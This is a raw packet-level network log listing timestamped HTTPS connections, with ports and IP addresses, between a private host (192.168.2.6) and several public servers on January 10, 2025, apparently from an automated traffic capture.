Jan 10, 2025 00:51:37.830681086 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.830693960 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.830734015 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.830749989 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.831094980 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.831119061 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.838505030 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.838536978 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.838649035 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.838845968 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.838870049 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.843107939 CET	443	49786	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.843333006 CET	49786	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.843348026 CET	443	49786	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.843688011 CET	443	49786	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.844062090 CET	49786	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.844118118 CET	443	49786	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.844198942 CET	49786	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.854271889 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.854330063 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.854370117 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.854392052 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.854408026 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.854581118 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.854588985 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.854876995 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.854965925 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.854974031 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.855366945 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.855429888 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.855448961 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.859116077 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.859328985 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.859338045 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.867331028 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.885978937 CET	443	49781	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.886004925 CET	443	49781	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.886013985 CET	443	49781	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.886071920 CET	443	49781	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.886081934 CET	49781	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.886096001 CET	443	49781	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.886132956 CET	49781	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.887113094 CET	49781	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.887134075 CET	443	49781	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.887341976 CET	443	49786	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.899152040 CET	49786	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.899298906 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.900399923 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.900655985 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.900671959 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.901065111 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.901503086 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.901571035 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.901674032 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.926062107 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.926383018 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.926394939 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.927423000 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.927484989 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.929464102 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.929517031 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.929876089 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.929882050 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.939501047 CET	443	49791	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.939848900 CET	49791	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.939857006 CET	443	49791	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.940829992 CET	443	49791	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.940906048 CET	49791	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.941596985 CET	49791	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.941656113 CET	443	49791	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.941890955 CET	49791	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.941895962 CET	443	49791	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.947320938 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.953936100 CET	443	49790	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.955044031 CET	49790	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.955102921 CET	443	49790	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.956103086 CET	443	49790	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.956172943 CET	49790	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.956499100 CET	49790	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.956568003 CET	443	49790	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.956651926 CET	49790	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.956662893 CET	443	49790	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.961992979 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.962239981 CET	49793	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.962258101 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.963224888 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.963335991 CET	49793	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.963680029 CET	49793	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.963742018 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.963819027 CET	49793	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.963828087 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.975013971 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.975323915 CET	443	49788	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.975790024 CET	49788	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.975846052 CET	443	49788	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.976134062 CET	443	49788	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.976536036 CET	49788	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.976597071 CET	443	49788	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.976849079 CET	49788	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.981847048 CET	443	49794	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.982033968 CET	49794	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.982042074 CET	443	49794	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.983129978 CET	443	49794	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.983191013 CET	49794	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.983603001 CET	49794	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.983664989 CET	443	49794	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.983731031 CET	49794	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.983736992 CET	443	49794	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.991796017 CET	49791	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.992664099 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.992893934 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.992924929 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.993803024 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.993860960 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.994227886 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.994286060 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.994429111 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.994436979 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.006968975 CET	49790	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.007004976 CET	49793	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.019340992 CET	443	49788	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.023715019 CET	49794	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.039412975 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.054563999 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.054766893 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.054816961 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.054841042 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.054965973 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.055047035 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.055097103 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.055105925 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.055218935 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.055346012 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.055512905 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.055565119 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.055577040 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.055668116 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.055718899 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.055726051 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.055831909 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.055932999 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.055936098 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.055963993 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.056035995 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.056427002 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.056602955 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.056710958 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.056799889 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.056849003 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.056849003 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.056859970 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.100085020 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.100095987 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.103698015 CET	443	49786	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.103723049 CET	443	49786	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.103780031 CET	49786	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.103780031 CET	443	49786	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.103846073 CET	49786	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.112620115 CET	49786	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.112638950 CET	443	49786	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.146395922 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.146405935 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.156347036 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.156369925 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.156385899 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.156465054 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.156480074 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.156539917 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.177931070 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.177963972 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.178050995 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.178061008 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.178105116 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.188633919 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.188942909 CET	443	49778	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:38.188966036 CET	443	49778	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:38.188991070 CET	443	49778	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:38.189014912 CET	443	49778	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:38.189034939 CET	49778	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:38.189053059 CET	443	49778	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:38.189074993 CET	443	49778	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:38.189086914 CET	49778	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:38.189094067 CET	49778	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:38.189119101 CET	49778	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:38.189275980 CET	443	49791	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.189285994 CET	443	49791	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.189299107 CET	443	49791	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.189317942 CET	443	49791	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.189342976 CET	49791	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.189358950 CET	443	49791	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.189368963 CET	49791	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.189371109 CET	443	49791	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.189419031 CET	49791	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.193833113 CET	49791	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.193845987 CET	443	49791	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.194514990 CET	49806	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.194561958 CET	443	49806	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.194813013 CET	49806	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.195554018 CET	49806	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.195569038 CET	443	49806	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.206789970 CET	443	49799	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.207231045 CET	49799	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.207246065 CET	443	49799	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.208288908 CET	443	49790	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.208319902 CET	443	49790	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.208375931 CET	49790	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.208380938 CET	443	49790	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.208415985 CET	443	49799	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.208455086 CET	49790	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.208848953 CET	49799	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.208986044 CET	49799	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.209027052 CET	443	49799	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.210642099 CET	49790	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.210664988 CET	443	49790	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.211107969 CET	49807	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.211147070 CET	443	49807	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.211204052 CET	49807	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.212112904 CET	49807	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.212126970 CET	443	49807	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.220391989 CET	49808	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.220446110 CET	443	49808	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.220578909 CET	49808	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.220782042 CET	49808	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.220804930 CET	443	49808	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.222124100 CET	49809	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.222184896 CET	443	49809	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.222299099 CET	49809	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.222466946 CET	49809	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.222489119 CET	443	49809	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.226367950 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.228168011 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.228197098 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.228296041 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.228307962 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.228588104 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.228615046 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.228627920 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.228674889 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.228693962 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.228703022 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.228827000 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.233212948 CET	443	49794	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.233236074 CET	443	49794	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.233272076 CET	443	49794	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.233287096 CET	443	49794	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.233313084 CET	49794	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.233355999 CET	49794	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.234503031 CET	49794	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.234513044 CET	443	49794	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.238588095 CET	49810	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.238650084 CET	443	49810	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.238708973 CET	49810	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.238902092 CET	49810	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.238919020 CET	443	49810	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.241046906 CET	443	49788	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.241071939 CET	443	49788	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.241122007 CET	443	49788	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.241136074 CET	49788	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.241178989 CET	49788	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.242733002 CET	49788	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.242746115 CET	443	49788	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.244968891 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.244987965 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.245035887 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.245042086 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.245198011 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.254756927 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.254776955 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.254785061 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.254823923 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.254841089 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.254853010 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.254864931 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.254879951 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.254898071 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.254918098 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.255569935 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.255636930 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.255805016 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.255827904 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.258095026 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.258203983 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.258213043 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.258272886 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.258304119 CET	49799	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.258316040 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.258335114 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.258342028 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.258378983 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.258435011 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.258443117 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.258573055 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.258584023 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.258591890 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.258666039 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.258690119 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.258697033 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.258713961 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.258790016 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.258820057 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.258825064 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.258841991 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.258879900 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.259046078 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.259052992 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.259330988 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.259531021 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.259634972 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.259687901 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.259802103 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.259826899 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.260257959 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.260409117 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.260493040 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.260528088 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.260597944 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.260694981 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.260740042 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.269609928 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.269635916 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.269859076 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.269869089 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.270286083 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.270298958 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.270327091 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.270349979 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.270355940 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.270382881 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.270687103 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.270706892 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.271337986 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.271343946 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.271459103 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.271594048 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.271683931 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.271756887 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.271756887 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.272216082 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.272241116 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.275422096 CET	443	49778	199.91.74.185	192.168.2.6
